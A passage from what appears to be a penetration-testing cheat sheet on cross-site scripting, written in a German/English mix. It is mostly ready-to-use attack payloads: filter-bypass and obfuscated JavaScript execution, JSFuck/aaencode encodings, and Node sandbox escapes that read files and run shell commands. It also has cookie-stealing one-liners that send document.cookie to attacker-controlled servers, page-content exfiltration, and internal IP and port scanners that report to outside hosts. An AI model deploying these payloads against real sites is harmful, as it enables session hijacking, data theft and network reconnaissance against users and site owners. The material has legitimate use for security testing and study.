setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Aufgrund der Ausführlichkeit der Erklärung von DOM vulnerabilities it was moved to this page:

DOM XSS

Dort findest du eine detaillierte Erklärung dessen, was DOM vulnerabilities sind, wie sie provoziert werden und wie man sie ausnutzt.
Außerdem solltest du nicht vergessen, dass am Ende des genannten Beitrags eine Erklärung zu DOM Clobbering attacks zu finden ist.

Upgrading Self-XSS

If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Sending your session to the admin

Vielleicht kann ein user sein Profil mit dem admin teilen, und wenn der self XSS im Profil des users steckt und der admin darauf zugreift, löst er die Verwundbarkeit aus.

Session Mirroring

If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.

Du könntest den Administrator dazu bringen, deinen self XSS auszulösen und so seine Cookies/Sitzung stehlen.

Other Bypasses

Bypassing sanitization via WASM linear-memory template overwrite

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "

%.*s

" to "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Siehe die dedizierte Seite mit Exploitation-Workflow, DevTools memory helpers und Gegenmaßnahmen:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Du könntest prüfen, ob die reflected values auf dem Server (oder clientseitig) unicode normalized werden und diese Funktionalität ausnutzen, um Schutzmechanismen zu umgehen. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Aufgrund von RoR mass assignment werden Anführungszeichen in das HTML eingefügt, wodurch die Beschränkung durch Anführungszeichen umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.
Formularbeispiel (from this report), wenn du die Payload sendest:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Das Paar "Key","Value" wird so zurückgegeben:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.

Spezielle Kombinationen

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS mit Header-Injection in einer 302 Redirect-Antwort

Wenn du feststellst, dass du Header in einer 302 Redirect-Antwort injizieren kannst, könntest du versuchen, den Browser dazu zu bringen, beliebiges JavaScript auszuführen. Das ist nicht trivial, da moderne Browser den HTTP-Response-Body bei einem HTTP-Statuscode 302 nicht interpretieren — daher ist ein einfaches cross-site scripting payload nutzlos.

In this report und this one kannst du nachlesen, wie du mehrere Protokolle im Location-Header testen kannst und prüfen kannst, ob eines davon dem Browser erlaubt, das XSS-Payload im Body zu untersuchen und auszuführen.
Bisher bekannte Protokolle: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Nur Buchstaben, Zahlen und Punkte

Wenn du den callback angeben kannst, den JavaScript ausführen wird, und dieser auf diese Zeichen (Buchstaben, Zahlen und Punkte) beschränkt ist. Lies diesen Abschnitt dieses Beitrags, um zu erfahren, wie man dieses Verhalten ausnutzt.

Valid <script> Content-Types to XSS

(From here) If you try to load a script with a content-type such as application/octet-stream, Chrome will throw following error:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

Die einzigen Content-Types, die Chrome das Ausführen eines geladenen Scripts erlauben, sind diejenigen, die in der const kSupportedJavascriptTypes aus https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc aufgeführt sind.

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Script Types to XSS

(Aus here) Also, welche Typen könnten angegeben werden, um ein Script zu laden?

html
<script type="???"></script>

Die Antwort lautet:

  • module (Standard, nichts zu erklären)
  • webbundle: Web Bundles ist eine Funktion, mit der man eine Menge Daten (HTML, CSS, JS…) zusammen in eine .wbn-Datei packen kann.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Ermöglicht die Verbesserung der Import-Syntax
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Dieses Verhalten wurde in this writeup verwendet, um eine Bibliothek auf eval umzuleiten — durch Ausnutzung kann dadurch XSS ausgelöst werden.

  • speculationrules: Diese Funktion dient hauptsächlich dazu, einige Probleme zu lösen, die durch Pre-Rendering verursacht werden. Sie funktioniert so:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types to XSS

(From here) Die folgenden Content-Types können in allen Browsern XSS ausführen:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? nicht in der Liste, aber ich glaube, ich habe das in einem CTF gesehen)
  • application/rss+xml (off)
  • application/atom+xml (off)

In anderen Browsern können andere Content-Types verwendet werden, um beliebiges JS auszuführen, siehe: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Wenn die Seite einen text/xml content-type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Spezielle Ersetzungsmuster

Wenn etwas wie "some {{template}} data".replace("{{template}}", <user_input>) verwendet wird, könnte ein Angreifer special string replacements nutzen, um einige Schutzmaßnahmen zu umgehen: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Zum Beispiel wurde in this writeup dies verwendet, um einen JSON-String zu escapen innerhalb eines Scripts und beliebigen Code auszuführen.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Wenn du nur eine begrenzte Menge an chars zur Verfügung hast, sieh dir diese anderen gültigen Lösungen für XSJail-Probleme an:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Wenn vor der Ausführung von nicht vertrauenswürdigem Code alles undefined ist (wie in this writeup), ist es möglich, nützliche Objekte „aus dem Nichts“ zu erzeugen, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen:

  • Verwendung von import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Indirekter Zugriff auf require

According to this werden Module von Node.js in eine Funktion eingebettet, wie folgt:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Daher, wenn wir aus diesem Modul eine andere Funktion aufrufen können, ist es möglich, arguments.callee.caller.arguments[1] in dieser Funktion zu verwenden, um auf require zuzugreifen:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

In ähnlicher Weise wie im vorherigen Beispiel ist es möglich, error handlers zu verwenden, um auf den wrapper des Moduls zuzugreifen und die require-Funktion zu erhalten:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

XSS häufige payloads

Mehrere payloads in 1

Steal Info JS

Iframe-Falle

Bringt den Benutzer dazu, auf der Seite zu navigieren, ohne das iframe zu verlassen, und stiehlt seine Aktionen (einschließlich in Formularen gesendeter Informationen):

Iframe Traps

Cookies auslesen

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Du kannst von JavaScript aus nicht auf die cookies zugreifen, wenn das HTTPOnly flag im cookie gesetzt ist. Aber hier hast du einige Möglichkeiten, diesen Schutz zu umgehen, wenn du Glück hast.

Seiteninhalt stehlen

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Interne IPs finden

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kurze Zeiten zeigen einen antwortenden port an Längere Zeiten zeigen keine Antwort an.

Überprüfe die Liste der in Chrome gesperrten ports hier und in Firefox hier.

Box zum Abfragen von credentials

html
